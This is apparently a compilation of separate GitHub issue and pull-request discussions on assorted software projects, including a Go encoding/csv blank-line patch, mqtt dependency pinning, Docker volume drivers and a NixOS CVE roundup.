fix: remove dependency on Pro project

This PR removes the dependency on the Pro project for updating data in AGOL. Note that it no longer sets any tags, groups, or sharing options. Those will need to be done outside of forklift.
It depends on SGID.META.AGOLItems to define the relationship between tables in the new internal SGID database and their corresponding AGOL items. It will only attempt to update AGOL for feature classes that have an AGOL id value populated.
A big thanks goes out to @jacobdadams for finding the overwrite api.

I added SGID.sde to the forklift garage folder on 57.

I just realized that this may add the FORKLIFT_HASH field to the AGOL data since the destination is staging. This field is present in my test AGOL data. Is that a bad thing? I wonder if it hurts anything and perhaps if some might find it useful for doing change detection on their end.

I spoke with @MichaelAGRC about the FORKLIFT_HASH field showing up in AGOL and our thoughts are that it doesn't hurt anything and may even be helpful for someone at some point. So I'm good with leaving it. Let me know if anyone else feels differently...

My thoughts are that the hash is an internal detail to forklift and will not be useful to anything other than forklift. I vote to remove it.
Unless we started to use the hash as a global id and could do feature level updates... 🤔

this looks way less complicated to me at the price of thumbnails, tags, and sharing.

I see these being managed in a separate project outside of forklift. Symbology would also be included in this consideration. I did test and validate that updating the data via this new method does not overwrite or affect these other item properties in any way that I could see.

there are two variables that don't seem to follow our naming conventions.

Fixed via f8a757e. Thanks for the catch.

I'm not sure if this should be merged or if we should just wait for the official switch over from SGID10 to SGID internal. My only concern with waiting is the potential for more issues creating duplicate AGOL items with the current pallet.

do you want to remove the current pallet from forklift for a short while?

That may be the safest solution. @MichaelAGRC Are you OK if we just disable the AGOL pallet until the switch over from SGID10 to SGID as the source of truth? That way we won't run the risk of creating duplicate items before this new pallet is merged.

I deleted AGOLPallet.py from the server this morning. We can merge this PR and put it back on the switch over day next week.

Forgot to merge this yesterday...


feat:backtotopbutton added

Added back to top buttons in both the pages

Fixed #173  @CSEdgeOff changes made. Kindly review

@Scrapper700 could you fix the style of the Buttons looks something odd make it clean and better.

will i keep it same as other page? or can i make the styling different? @CSEdgeOff

Works? @CSEdgeOff

@Scrapper700 Change the ICON

@Scrapper700 USE


Discussion: Moving to Gitlab?

Summary:
Thanks to Microsoft is buying Github news, several projects are moving to Gitlab. Biggest handicap of moving Gitlab was, majority of projects and users were on Github. But current migration can change this situation and there will be nothing that prevent us from migrating to Gitlab, a free software.
What do you think team?
:)

While I preferred GitLab (which I use at work) to GitHub even before it was bought by Microsoft, requiring every contributor to create a GitLab account adds a barrier of entry.
I would be a bit like asking your friends to add you on Diaspora instead of Facebook: It is undeniably better, but almost nobody is there :-/

GitHub->GitLab migration procedure: https://docs.gitlab.com/ee/user/project/import/github.html
For instance we would need to re-assign issues, it seems.

I think GitHub is pretty stable. I am loving the new UI of GitHub. I think we don't have any plan to move to gitlab now. @josephine @nicolas-raoul @neslihanturan . If everyone is Ok we can close this. We have a lot of open issues (360).

I think the topic is still open to discussion :-)
I don't have a problem with having a large number of open issues.
The important number is 67: It is the number of open bugs https://github.com/commons-app/apps-android-commons/issues?q=is%3Aissue+is%3Aopen+label%3Abug

Yeah, I think it is OK to leave discussion issues open unless they become truly irrelevant (e.g. what to do for the 2018 hackathon which is already over). :)

Since this issue is related to GitLab and WMF is conducting a GitLab consultation, I thought I'll bring it to the notice of people here :)
GitLab consultation - MediaWiki
TL;DR: WMF is conducting a consultation on replacing Gerrit with GitLab. It's open to comments now. They are open to comments until Sep 30.

Thanks for the heads up @sivaraam !

codeberg.org seems to be an option too, it looks exactly like GitHub (example).


We need to workaround broken mqtt and mqtt-packet versions

Problem
The current dependency of npm package mqtt 4.2.4 contains a problem that will occasionally break when receiving mqtt messages longer than 255 bytes, showing a "Error: Invalid length" exception.  The actual issue is contained in the sub-dependency mqtt-packet, where version 6.6.0 is affected.
Details
Of mqtt-packet, the previous version 6.5.0 and lower are not affected, 6.6.0 is affected, and any version higher (i.e. 6.6.1 or higher) will not be affected anymore. See issue https://github.com/mqttjs/mqtt-packet/issues/95 and resolving PR https://github.com/mqttjs/mqtt-packet/pull/96
Hence, mqtt 4.2.2 and lower is not affected, but 4.2.3 through 4.2.6 are affected. There is not yet a version available which is not affected anymore.
Course of action
Please downgrade to mqtt 4.2.2. Once a newer mqtt with the resolution is available, this needs to be updated again.

Thanks for reporting this issue. Unfortunately, I however believe that your proposed fix won't work as the package.json file of mqtt uses:
"mqtt-packet": "^6.3.2"

and hence will still pull in the broken 6.6.0 version. I will try to find another way to fix the described issue.

Ok, a solution was found (explicit downgrade of sub-dependency mqtt-packet) and is pushed to master. A bug-fix release will be triggered once CI runs show green.

hm.... no, I don't think this achieves the intended result. In client project, after removing node_modules and letting npm install run, I now get:
node_modules/mqtt-packet/package.json:  "version": "6.6.0"
node_modules/vrpc/node_modules/mqtt-packet/package.json:  "version": "6.5.0"
node_modules/vrpc/node_modules/mqtt/node_modules/mqtt-packet/package.json:  "version": "6.6.0"

So doesn't this mean that the actual mqtt implementation will still use bug-affected 6.6.0, as requested by their package.json?

Ok, this version is fine for now.
In a downstream application, I also need to modify package-lock.json to downgrade mqtt-package. Then it works.

In the meantime, mqtt-package 6.7.0 was released that contains the bugfix. So vrpc-2.2.3 is no longer urgently needed. You might consider updating your mqtt-package dependency to 6.7.0, though. Thanks for the quick reaction.


FEATURE REQUEST: Don't pass volumes defined in Dockerfile but not provied in docker run command line to volume driver

Docker 1.12
Now action:
I have VOLUME instruction in Dockerfile:
VOLUME ["/var/lib/mysql", "/var/lib/postgres"]

And run Docker with self-developed volume driver:
docker run -v my-vol:/var/lib/mysql --volume-driver=my-driver img cmd

This will failed because I have not a volume for /var/lib/postgres.
Reason
By -v my-vol:/var/lib/mysql only for one volume, Docker will aslo pass the other volume /var/lib/postgres to volume driver(use an auto generated volume-name like 06dda0d5dd1c2108ae0f0b6d0769c020d789d31953ec68afd8940ef42e8d7c7b that used by local drvier).
Action Expected
I think, pass only my-vol:/var/lib/mysql to volume driver, and the other(/var/lib/postgres) not specified by docker run command line should be processed by Docker local driver but not passed to custom volume driver.

This makes for incredibly confusing behavior.
I think we just have some major shortcomings in the available syntax for expressing volumes. We will be most likely bringing in the "--mount" flag from docker service create to docker run which is much more expressive.

We actually changed this at some point in https://github.com/docker/docker/pull/19175, but that would be a breaking change, so that was reverted in https://github.com/docker/docker/pull/19190. However, there's an open pull-request to implement the --mount flag for docker run (see https://github.com/docker/docker/pull/26825), which would allow you to specify a driver per volume, similar to what's possible on services https://github.com/docker/docker/blob/master/docs/reference/commandline/service_create.md#add-bind-mounts-or-volumes
I'll close this issue, but feel free to comment


typescript typings without namespace

Unwrap interfaces from namespace (as described in #378)
Export each interface individually
Fix typescript tests
Remove tslint rule to prevent regression

Note that import svgPanZoom from 'svg-pan-zoom' will still work as usual so we are hopefully not breaking anything, but now you can import svgPanZoom, { Options, Instance } from "dist/svg-pan-zoom"; and use interfaces in you code instead of SvgPanZoom.Instance namespaced way which might cause problems in some scenarious

Or, as alternative, if namespace is something desired we can try to leave it as is and just "reexport" interfaces, e.g.
before:
declare module "svg-pan-zoom" {
  export = svgPanZoom;
}

after:
export interface Options extends SvgPanZoom.Options {}
export interface CustomEventHandler extends SvgPanZoom.CustomEventHandler {}
export interface CustomEventOptions extends SvgPanZoom.CustomEventOptions {}
export interface Point extends SvgPanZoom.Point {}
export interface PointModifier extends SvgPanZoom.PointModifier {}
export interface Sizes extends SvgPanZoom.Sizes {}
export interface Instance extends SvgPanZoom.Instance {}

export default svgPanZoom;

which should also work, not sure which way you do prefer if any

Thanks for the pull request! My job has shifted away from front end, so I unfortunately can't keep up with maintenance. Would you be interested in becoming a maintainer?
https://github.com/ariutta/svg-pan-zoom/issues/395


Use separate git repositories for processor specs

Is your feature request related to a problem? Please describe.
I would like to use your RISCV processor implementation, but have my own forks as well.
Describe the solution you'd like
Using a separate git repo with a submodule in this one would be much preferred to a dirty merge.
Describe alternatives you've considered
I could just copy that section of your source, but that wouldn't credit you fairly or link back for possible updates.

https://github.com/mumbel/ghidra_riscv
Think it works, got an .so loaded into the 9.1.x BETA (ghidra-sre.org)

Superb, thank you!


Changelog format

Hello Dmitry,
It would be nice that you used the same changelog format which is used in Yii2.
I miss having the issue number that generated the change.

Thank you for suggestion. For further versions I'll use such format.


encoding/csv: skipping of empty rows leads to loss of data in single-column datasets

What version of Go are you using (go version)?

$ go version
go version go1.14 darwin/amd64

Does this issue reproduce with the latest release?
Yes.
What operating system and processor architecture are you using (go env)?
go env Output
$ go env
GO111MODULE=""
GOARCH="amd64"
GOBIN=""
GOCACHE="/Users/ondrej/Library/Caches/go-build"
GOENV="/Users/ondrej/Library/Application Support/go/env"
GOEXE=""
GOFLAGS=""
GOHOSTARCH="amd64"
GOHOSTOS="darwin"
GOINSECURE=""
GONOPROXY=""
GONOSUMDB=""
GOOS="darwin"
GOPATH="/Users/ondrej/go"
GOPRIVATE=""
GOPROXY="https://proxy.golang.org,direct"
GOROOT="/usr/local/Cellar/go/1.14/libexec"
GOSUMDB="sum.golang.org"
GOTMPDIR=""
GOTOOLDIR="/usr/local/Cellar/go/1.14/libexec/pkg/tool/darwin_amd64"
GCCGO="gccgo"
AR="ar"
CC="clang"
CXX="clang++"
CGO_ENABLED="1"
GOMOD=""
CGO_CFLAGS="-g -O2"
CGO_CPPFLAGS=""
CGO_CXXFLAGS="-g -O2"
CGO_FFLAGS="-g -O2"
CGO_LDFLAGS="-g -O2"
PKG_CONFIG="pkg-config"
GOGCCFLAGS="-fPIC -m64 -pthread -fno-caret-diagnostics -Qunused-arguments -fmessage-length=0 -fdebug-prefix-map=/var/folders/hp/q7nph21s1q76nw1hv1hfxv2m0000gn/T/go-build988616937=/tmp/go-build -gno-record-gcc-switches -fno-common"

What did you do?
I wrote a CSV with a single column and missing data.
What did you expect to see?
I expected to load the data back, intact.
What did you see instead?
I lost the missing values, encoding/csv skipped them as it skips blank lines. In this case, a blank line actually represents data.

I'm not sure I understand the rationale behind skipping blank lines. Neither in terms of common practice (why would I have blank lines in my CSVs?) nor in terms of standards (the closest we have is RFC 4180 and I couldn't find anything about blank lines - so I'm not sure if Go follows it).
Here's a reproduction of the problem. I wrote a dataset into a file and was unable to read it back.

package main

import (
	"encoding/csv"
	"errors"
	"log"
	"os"
	"reflect"
)

func writeData(filename string, data [][]string) error {
	f, err := os.Create(filename)
	if err != nil {
		return err
	}
	defer f.Close()
	cw := csv.NewWriter(f)
	defer cw.Flush()
	if err := cw.WriteAll(data); err != nil {
		return err
	}
	return nil
}

func readData(filename string) ([][]string, error) {
	f, err := os.Open(filename)
	if err != nil {
		return nil, err
	}
	defer f.Close()
	cr := csv.NewReader(f)
	rows, err := cr.ReadAll()
	if err != nil {
		return nil, err
	}
	return rows, nil
}

func run() error {
	fn := "data/roundtrip.csv"
	data := [][]string{{"john"}, {"jane"}, {""}, {"jack"}}

	if err := writeData(fn, data); err != nil {
		return err
	}

	returned, err := readData(fn)
	if err != nil {
		return err
	}
	if !reflect.DeepEqual(returned, data) {
		log.Println("expected", data, "got", returned)
		return errors.New("not equal")
	}

	return nil
}

func main() {
	if err := run(); err != nil {
		log.Fatal(err)
	}
}

As mentioned, a quick look at RFC 4180 does not seem to explicitly describe what the behavior should be for empty lines.

/cc @dsnet @bradfitz @rsc

According to RFC 4180, section 2.1:

Each record is located on a separate line, delimited by a line break (CRLF).

Which suggests that this is a bug in the reader code.
However, I'm not going to be surprised if fixing this breaks lots of users due to Hyrum's law and we're forced to just document the errant behavior. Even though the package tries to follow RFC 4180, CSV files are one of those formats with many strange variants that do not folllow any specific grammar.

Interesting that this used to work in go1.3 and stopped working in go1.4, but not because the reader behavior changed, but that the writer behavior changed.
In go1.3, it would produce:
john
jane
""
jack

but in go1.4, it would produce:
john
jane

jack

The presence of an explicit "" made it clear to the reader that there was a record present.

The change in Go 1.4 is documented, but I guess not in user-visible documentation.
// We used to quote empty strings, but we do not anymore (as of Go 1.4).
// The two representations should be equivalent, but Postgres distinguishes
// quoted vs non-quoted empty string during database imports, and it has
// an option to force the quoted behavior for non-quoted CSV but it has
// no option to force the non-quoted behavior for quoted CSV, making
// CSV with quoted empty strings strictly less useful.
// Not quoting the empty string also makes this package match the behavior
// of Microsoft Excel and Google Drive.

See #7586.

Which suggests that this is a bug in the reader code.
However, I'm not going to be surprised if fixing this breaks lots of users due to Hyrum's law and we're forced to just document the errant behavior. Even though the package tries to follow RFC 4180, CSV files are one of those formats with many strange variants that do not folllow any specific grammar.

If we're worried about breaking existing code, we could add a boolean flag, which defaults to the current behaviour and then we could discuss flipping it (and potentially removing it) for Go 2.

If I understand the implementation correctly, then one cannot just initialise a Reader struct, one has to go through NewReader, because the underlying io.Reader is unexported. In that case, we can enforce our default in the constructor. (Or we could flip the boolean flag to mean e.g. ParseBlankLines, which has the desired default value.)
Something along the lines of this (haven't tested it, just sketching):
diff --git a/src/encoding/csv/reader.go b/src/encoding/csv/reader.go
index c40aa506b0..cd2b0ccfc1 100644
--- a/src/encoding/csv/reader.go
+++ b/src/encoding/csv/reader.go
@@ -16,8 +16,8 @@
 //
 // Carriage returns before newline characters are silently removed.
 //
-// Blank lines are ignored. A line with only whitespace characters (excluding
-// the ending newline character) is not considered a blank line.
+// Blank lines are ignored by default. A line with only whitespace characters
+// (excluding the ending newline character) is not considered a blank line.
 //
 // Fields which start and stop with the quote character " are called
 // quoted-fields. The beginning and ending quote are not part of the
@@ -142,6 +142,9 @@ type Reader struct {
 	// By default, each call to Read returns newly allocated memory owned by the caller.
 	ReuseRecord bool

+	// If SkipBlankLines is true (default), rows with no data are skipped.
+	SkipBlankLines bool
+
 	TrailingComma bool // Deprecated: No longer used.

 	r *bufio.Reader
@@ -169,8 +172,9 @@ type Reader struct {
 // NewReader returns a new Reader that reads from r.
 func NewReader(r io.Reader) *Reader {
 	return &Reader{
-		Comma: ',',
-		r:     bufio.NewReader(r),
+		Comma:          ',',
+		SkipBlankLines: true,
+		r:              bufio.NewReader(r),
 	}
 }

@@ -268,7 +272,7 @@ func (r *Reader) readRecord(dst []string) ([]string, error) {
 			line = nil
 			continue // Skip comment lines
 		}
-		if errRead == nil && len(line) == lengthNL(line) {
+		if r.SkipBlankLines && errRead == nil && len(line) == lengthNL(line) {
 			line = nil
 			continue // Skip empty lines
 		}

Here's a patch, including tests. If this is something that would be acceptable, I can go through the usual gerrit mechanism. Also, if this patch goes through, I'd suggest for Go 2 to have the default reverted - interpret blank lines by default and either add a SkipBlankLines switch or remove this functionality altogether.
From 2767091f21f4e93c09247e5ae6336739a92a3ee7 Mon Sep 17 00:00:00 2001
From: Ondrej Kokes<EMAIL_ADDRESS>Date: Fri, 12 Jun 2020 15:10:33 +0200
Subject: [PATCH] encoding/csv: allow for interpretation of empty lines

Empty lines are ignored by default, this change introduces a switch that
changes this behaviour - empty line is then interpreted as a single empty
field.
---
 src/encoding/csv/reader.go      | 10 +++++++---
 src/encoding/csv/reader_test.go | 35 ++++++++++++++++++++++++++-------
 2 files changed, 35 insertions(+), 10 deletions(-)

diff --git a/src/encoding/csv/reader.go b/src/encoding/csv/reader.go
index c40aa506b0..f8e08ad6da 100644
--- a/src/encoding/csv/reader.go
+++ b/src/encoding/csv/reader.go
@@ -16,8 +16,8 @@
 //
 // Carriage returns before newline characters are silently removed.
 //
-// Blank lines are ignored. A line with only whitespace characters (excluding
-// the ending newline character) is not considered a blank line.
+// Blank lines are ignored by default. A line with only whitespace characters
+// (excluding the ending newline character) is not considered a blank line.
 //
 // Fields which start and stop with the quote character " are called
 // quoted-fields. The beginning and ending quote are not part of the
@@ -142,6 +142,10 @@ type Reader struct {
 	// By default, each call to Read returns newly allocated memory owned by the caller.
 	ReuseRecord bool

+	// If InterpretBlankLines is true, blank lines are interpreted as a single empty field,
+	// the default is to skip these lines.
+	InterpretBlankLines bool
+
 	TrailingComma bool // Deprecated: No longer used.

 	r *bufio.Reader
@@ -268,7 +272,7 @@ func (r *Reader) readRecord(dst []string) ([]string, error) {
 			line = nil
 			continue // Skip comment lines
 		}
-		if errRead == nil && len(line) == lengthNL(line) {
+		if !r.InterpretBlankLines && errRead == nil && len(line) == lengthNL(line) {
 			line = nil
 			continue // Skip empty lines
 		}
diff --git a/src/encoding/csv/reader_test.go b/src/encoding/csv/reader_test.go
index 5121791cb3..6d9c782ccb 100644
--- a/src/encoding/csv/reader_test.go
+++ b/src/encoding/csv/reader_test.go
@@ -20,13 +20,14 @@ func TestRead(t *testing.T) {
 		Error  error

 		// These fields are copied into the Reader
-		Comma              rune
-		Comment            rune
-		UseFieldsPerRecord bool // false (default) means FieldsPerRecord is -1
-		FieldsPerRecord    int
-		LazyQuotes         bool
-		TrimLeadingSpace   bool
-		ReuseRecord        bool
+		Comma               rune
+		Comment             rune
+		UseFieldsPerRecord  bool // false (default) means FieldsPerRecord is -1
+		FieldsPerRecord     int
+		LazyQuotes          bool
+		TrimLeadingSpace    bool
+		ReuseRecord         bool
+		InterpretBlankLines bool
 	}{{
 		Name:   "Simple",
 		Input:  "a,b,c\n",
@@ -78,6 +79,25 @@ field"`,
 			{"a", "b", "c"},
 			{"d", "e", "f"},
 		},
+	}, {
+		Name:  "BlankLineInterpreted",
+		Input: "a,b,c\n\nd,e,f\n\n",
+		Output: [][]string{
+			{"a", "b", "c"},
+			{""},
+			{"d", "e", "f"},
+			{""},
+		},
+		InterpretBlankLines: true,
+	}, {
+		Name:   "BlankLineSingleColumn",
+		Input:  "a\nb\n\nd",
+		Output: [][]string{{"a"}, {"b"}, {"d"}},
+	}, {
+		Name:                "BlankLineInterpretedSingleColumn",
+		Input:               "a\nb\n\nd",
+		Output:              [][]string{{"a"}, {"b"}, {""}, {"d"}},
+		InterpretBlankLines: true,
 	}, {
 		Name:  "BlankLineFieldCount",
 		Input: "a,b,c\n\nd,e,f\n\n",
@@ -400,6 +420,7 @@ x,,,
 			r.LazyQuotes = tt.LazyQuotes
 			r.TrimLeadingSpace = tt.TrimLeadingSpace
 			r.ReuseRecord = tt.ReuseRecord
+			r.InterpretBlankLines = tt.InterpretBlankLines

 			out, err := r.ReadAll()
 			if !reflect.DeepEqual(err, tt.Error) {
--
2.17.2 (Apple Git-113)

We've pretty much decided that we are not going to add additional knobs to encoding/csv.  There are just too many variations in CSV files out there.  Trying to handle all of them would lead to a massive proliferation of knobs and an unusable package API.

That's too bad, because two of the existing knobs are actually going against the "standard" - lazyquotes and comments, while this suggested knob actually tries to bring Go closer to standard compliance (while keeping backward compatibility).
Anyway, where can I register interest in changing this in Go 2? No knobs, just changing the default - blank lines are perfectly fine and should be interpreted as data.

  There may never be a Go 2, except perhaps for marketing reasons.  For a package like this, there may someday be a encoding/csv/v2.  Although personally I think that our experience with this package is that it would be better to drop it from the standard library, and encourage a variety of third party packages instead.

Should the documentation be updated to indicate that RFC 4180 is not fully supported? I just ran into this myself, and reading the RFC
   record = field *(COMMA field)
   name = field
   field = (escaped / non-escaped)
   escaped = DQUOTE *(TEXTDATA / COMMA / CR / LF / 2DQUOTE) DQUOTE
   non-escaped = *TEXTDATA
   ...
   TEXTDATA =  %x20-21 / %x23-2B / %x2D-7E

suggests strongly that blank lines should correspond to a single empty field. I realize there's already a note a couple of paragraphs down that states blank lines are ignored, but it's not made clear that this behavior contradicts the RFC.


Forward scheme and http code added for redirection hosts

You can now configure the forward_scheme and forward_http_code on user interface (section redirection hosts)

Docker Image for build 3 is available on DockerHub as jc21/nginx-proxy-manager:github-pr-883

Docker Image for build 4 is available on DockerHub as jc21/nginx-proxy-manager:github-pr-883

Docker Image for build 5 is available on DockerHub as jc21/nginx-proxy-manager:github-pr-883

Docker Image for build 10 is available on DockerHub as jc21/nginx-proxy-manager:github-pr-883

Docker Image for build 11 is available on DockerHub as jc21/nginx-proxy-manager:github-pr-883

Docker Image for build 13 is available on DockerHub as jc21/nginx-proxy-manager:github-pr-883

Great work :)

Great work :)

Thank you @jc21 really :)


Request body invalid

I have no problems running GET requests but POST and PUTs seem to be causing errors that didn't exist in earlier builds. For instance, in the following  PUT request:

In the terminal I can see that this results in:

Unhandled rejection Error: Invalid method.
at Object.JsonSerializer.parsePayload (/project/api/node_modules/fortune/lib/net/http_json_serializer.js:204:11)
at /project/api/node_modules/fortune/lib/net/http_server.js:228:45

As for configuration at this point I'm simply providing model definitions ... in this case for the actions model.

This issue should be in core, as the actual error seems to be in core (/lib/dispatch/create.js:53)

I think my original description is probably a bit misleading as I was just the "PUT" verb when what I meant was "PATCH". This error is thrown on any POST or PATCH call that I make whereas GET works fine. The failure point is in core here:

And for reasons that are not yet clear to me updates is coming through as a key/value hash when it appears the code was expecting an array.

Ah, I'm pretty sure that application/json is incorrect. It should actually be application/vnd.api+json. According to the spec:

Clients MUST send all JSON API data in request documents with the header Content-Type: application/vnd.api+json without any media type parameters.

So actually it's correct that your payload is being rejected.

Oh of course! Damn. Let me just check but that makes perfect sense. :+1:

I don't think this is an issue as it seems the body data needs to be an array of object(s).
[
    {
        "importance": 8
    }
]

And all should work just as expected. //cc @ksnyde

yes but it shouldn't have to be an array of objects. :+1: The input it correct minus the wrong MIME type (which Postman doesn't support in it's dropdown).

You sure because even the example on the fortune.js homepage says the payload is an array of object(s).

Just refer to the tests. This serializer fully conforms to the JSON API 1.0 spec, so you don't have to care about Fortune.js internals when using this.

The tests seem to indicate payload is correct and switching to application/vnd.api+json parses the request correctly -- I believe -- but I'm getting:

"The serializer for "application/vnd.api+json" does not exist."

And yet here is the configuration:
const models = Object.assign(referenceData, transactionalData, userData);
const options = {
  serializers: [
    [jsonApiSerializer, {}]
  ],
  adapter: [
    mongodbAdapter,
    {
      url: url,
    }
  ]
};
const store = fortune(models, options);

Oh this is another issue: Serializer has moved out of core. The reasoning is that serializers were HTTP before anyways, so now it's HttpSerializer. It's now part of net.http. http://fortunejs.com/api/#fortune.net-http
I had to make 2 major breaking changes, hence version 3.

ok, makes sense. I've corrected that in my configuration. Now I get the error:

Cannot read property 'type' of undefined fortune-json-api/lib/index.js:354:38

super tired so need to rest on this for now. i'll look at it with fresh eyes tomorrow.

Ok, i've sorted this out ... I guess it's down to the expected manner in which the serializer behaves. Let me explain ...
This request DOES work: PATCH http://localhost:3000/actions/went-running with the following body:
{
    "data": {
        "id": "went-running",
        "type": "actions",
            "attributes": {
                "importance": 8
            }
        }
    }
}

And this does fit a reading of the SPEC but I'm concerned about the redundancy here (example from JSON-API site):

I have no issue with verbosity but redundancy within the spec seems problematic and since the "type" and "id" are typically expected to reside within the URL itself I think they should always be set automatically, even if the body has other values in them. Of course this is my opinion and not something that I read in the spec.
I would be interested in any thoughts others might have.

https://github.com/json-api/json-api/issues/966
It's being discussed on the JSON-API repo. Would it be reasonable to have an option on the serializer for something like this?

From my understanding of HTTP, URIs should be opaque. The authors of JSON API seem to be of the same opinion. For example, I could have made the URI /YXJ0aWNsZXMvMQ map to the type articles with id 1. In fact, this is how hypermedia should actually work: clients should not try to glean extra information from the URI. But in practice, clients tend to look too much into the URI when it's supposed to be something for the server to interpret.
Here's some background: https://www.w3.org/DesignIssues/Axioms.html#opaque
Also I think that issue is a completely separate concern, or correct me if I'm wrong (?)

Ok in theory and sometimes in practice but in 90-95% of implementations the "common law" is that the two concerns are bound. One could argue that they shouldn't be but it would be hard to argue that they aren't. Furthermore, by allowing the routes values to be ignored/overwritten/separate this also means the routes value or meaning is diminished and it's ability reinforce scoping rules invalidated which would cause problems for a lot of the "route-based" middlewares wouldn't it?
Imagine, for instance, I send a GET request to /user/1 but instead in the JSON request I supply the type as auth and the id as 2. Now the server can no longer use a route based rule to base its authorization logic on and instead must ignore the route (which it was setup to distinguish) and instead authorize on the payload attributes.
To me this represents a good use-case for a configuration option but if you're opposed I can get around easily enough.
p.s. thanks for the link, found it a good read. as for whether the issue was the same/different ... obviously I thought it was the same but maybe I was wrong

What API clients shouldn't be doing is making assumptions about URIs. For example, it may be perfectly fine for the URI and the payload to not be in sync, it's the server's responsiblity to interpret it, but more importantly, the client should be actually using the hyperlinks provided by the server. If the server says that the URL for the user with id 2 is actually /users/1, then that's exactly where it's located. It's more of a matter of principle than any "practical" concerns over not duplicating data in the URI and payload.

I agree with @0x8890 on this. I guess if the URL was /socool/18839239820-182298M It wouldn't really matter what the client url is as long as it serves up what I requested in the request body.

So my concern wasn't with the client, it was the server but I'm going to close this regardless.


After deployng APIM 3.2.0 patch level 113, the "api.ut.api" property returns a null value

Description:
After updating to APIM <IP_ADDRESS>  then  with a non-secured API resources got null for the message context properties such that below.
api.ut.apiPublisher= = null, api.ut.api= = null, api.ut.version= = null
Also able to see this error message in carbon console
[2021-12-31 12:48:43,207] ERROR - APIMgtUsageDataBridgeDataPublisher RequestResponse event dropped due to unavailability of mandatory data: [API context, API name, API hostname] in event: Application consumer key: *one, Application name: None, Application ID: 0, Application owner: None, API name: null, API version: 1.0.0, API context: null, Username: anonymous, API resource path: /1.0.0/healthcheck, API resource template: /healthcheck, API method: GET, API creator<EMAIL_ADDRESS>API creator tenant domain: carbon.super, API tier: Unauthenticated, Username: anonymous, User tenant domain: carbon.super, Host name: null, User IP: <IP_ADDRESS>, User Agent :Zabbix, Is throttled: false, Request timestamp:<PHONE_NUMBER>180, Response time: 27, Service time: 6, Backend time: 21, Is response cache hit: false, Response size: 0, Protocol: https--1, Response code: 200, Destination: https://ei.pre.mcp.es/water/meters, Security latency: 0, Throttling latency: 0, Mediation latency: 2, Response mediation latency: 0, Backend latency: 21, Other latency: 0, Gateway type: SYNAPSE, Label: Synapse
We were able to reproduce this issue with APIM <IP_ADDRESS> when we use non-secured API resources. But not with the secured resource.
However, when checking the same use-case with APIM 3.2 GA release pack, the issue seems not there and both secured and unsecured resources, the following properties correctly printing the values in the carbon logs.
api.ut.apiPublisher , api.ut.api , api.ut.version
TEST Results:
For non-secured API resources:
`[2022-01-02 16:39:51,452]  INFO - LogMediator
Unknown macro: {api}`

`api.ut.apiPublisher= = null, api.ut.api= = null, api.ut.version= = null`

For secured API resources:
`[2022-01-02 16:02:13,622]  INFO - LogMediator
Unknown macro: {api}`

`api.ut.apiPublisher= = admin, api.ut.api= = PizzaShackAPI, api.ut.version= = 1.0.0`

With APIM 3.2 GA pack:
For both unsecured and secured resources, we could see the above properties correctly logging with the values. So this scenario works fine in the GA pack.
Hence it seems this has been broken with an Update level.
Steps to reproduce:

update apim to wso2am-3.2.0+1611933891844" wum level and with wso2update tool to "wso2am-3.2.0+113"
Deployed a global sequence (WSO2AM-Ext-In.xml) with the provided code.

<sequence name="WSO2AM-Ext-In" xmlns="http://ws.apache.org/ns/synapse">    <log level="custom">       <property name="api.ut.apiPublisher=" expression="$ctx:api.ut.apiPublisher" />                  <property name="api.ut.api="          expression="$ctx:api.ut.api" />                  <property name="api.ut.version="      expression="$ctx:api.ut.version" />               </log> </sequence>

Then invoke it as non-secured API

Affected Product Version:
APIM <IP_ADDRESS>

This is fixed in latest, hence closing


Repo menu bar too tall

Image is scrolled right to the top, notice the large gap.
Also notice the scroll indicator, pretty far down

Ah this and #576 are from a last-second refactor for safeBounds that I trusted too much. That's what I get for deploying before running through stuff locally.


[WIP] adding ember-meta for posts

sorry I didn't actually want to push this upstream 😞 sorry for the noise

ha ha ha thanks @kevinansfield 😂
Because it is actually a fork of Casper I have a few things I want to "bring upstream" eventually but I want to keep them in sync as much as possible 👍
I hope you have had a chance to check it out 😉

@kevinansfield I don't know if you have been following the developments but I've just released the "next generation" of this thing https://github.com/stonecircle/ember-ghost
It now supports multiple templates 🎉 Let me know if you ever want a chat about the whole system 😄


Doc - Getting Started refactor

Work in progress please do not merge
This PR is related to the PHASE 1 of the the getting started refactor, as per Internal Ref: https://github.com/arangodb/planning/issues/2016

Initial refactoring of the getting started to better integrate Sirman's work into our Manual
Remove duplicate sections (!)
Promote "Installation" chapter as top level chapter: it is a standard operation chapter and has to be separate (and must be detailed). Getting started guide can reference. Was indeed already doing, but was confusing because two separate installation parts where in the same getting started. Now separated
Create new Tutorials chapter as discussed internally (work in progress)

Next steps:

fix broken links, build and merge - asap
improvement / bug fixes in PHASE 2

Please do not merge - work in progress

Feedback: https://github.com/arangodb/planning/issues/2016#issuecomment-371127920


Vulnerability Roundup 30

Scanned nixos/release-combined.nix @ 3eccd0b with vulnix-1.4.1pre (improved CVE patch detection). Filtered out previously reported CVEs. May contain false positives.
busybox-1.27.2 (search, files)

[ ] CVE-2017-16544

exiv2-0.26 (search, files)

[ ] CVE-2017-1000126
[ ] CVE-2017-1000127
[ ] CVE-2017-1000128
[ ] CVE-2017-11336
[ ] CVE-2017-11337
[ ] CVE-2017-11338
[ ] CVE-2017-11339
[ ] CVE-2017-11340
[ ] CVE-2017-11553
[ ] CVE-2017-11591
[ ] CVE-2017-11592
[ ] CVE-2017-11683
[ ] CVE-2017-12955
[ ] CVE-2017-12956
[ ] CVE-2017-12957
[ ] CVE-2017-14857
[ ] CVE-2017-14858
[ ] CVE-2017-14859
[ ] CVE-2017-14860
[ ] CVE-2017-14861
[ ] CVE-2017-14862
[ ] CVE-2017-14863
[ ] CVE-2017-14864
[ ] CVE-2017-14865
[ ] CVE-2017-14866

ghostscript-9.20 (search, files)

[ ] CVE-2016-10217
[ ] CVE-2016-10218
[ ] CVE-2016-10219
[ ] CVE-2016-10220
[ ] CVE-2016-10317
[ ] CVE-2017-7207

gstreamer-0.10.36 (search, files)

[ ] CVE-2016-9447

jbig2dec-0.13 (search, files)

[ ] CVE-2017-7885
[ ] CVE-2017-9216

ldns-1.7.0 (search, files)

[ ] CVE-2017-1000231
[ ] CVE-2017-1000232

libcroco-0.6.12 (search, files)

[ ] CVE-2017-7960
[ ] CVE-2017-7961
[ ] CVE-2017-8834
[ ] CVE-2017-8871

openexr-2.2.0 (search, files)

[ ] CVE-2017-12596

openslp-2.0.0 (search, files)

[ ] CVE-2016-4912

rsync-3.1.2 (search, files)

[ ] CVE-2017-16548

vte-0.28.2 (search, files)

[ ] CVE-2012-2738

x265-2.5 (search, files)

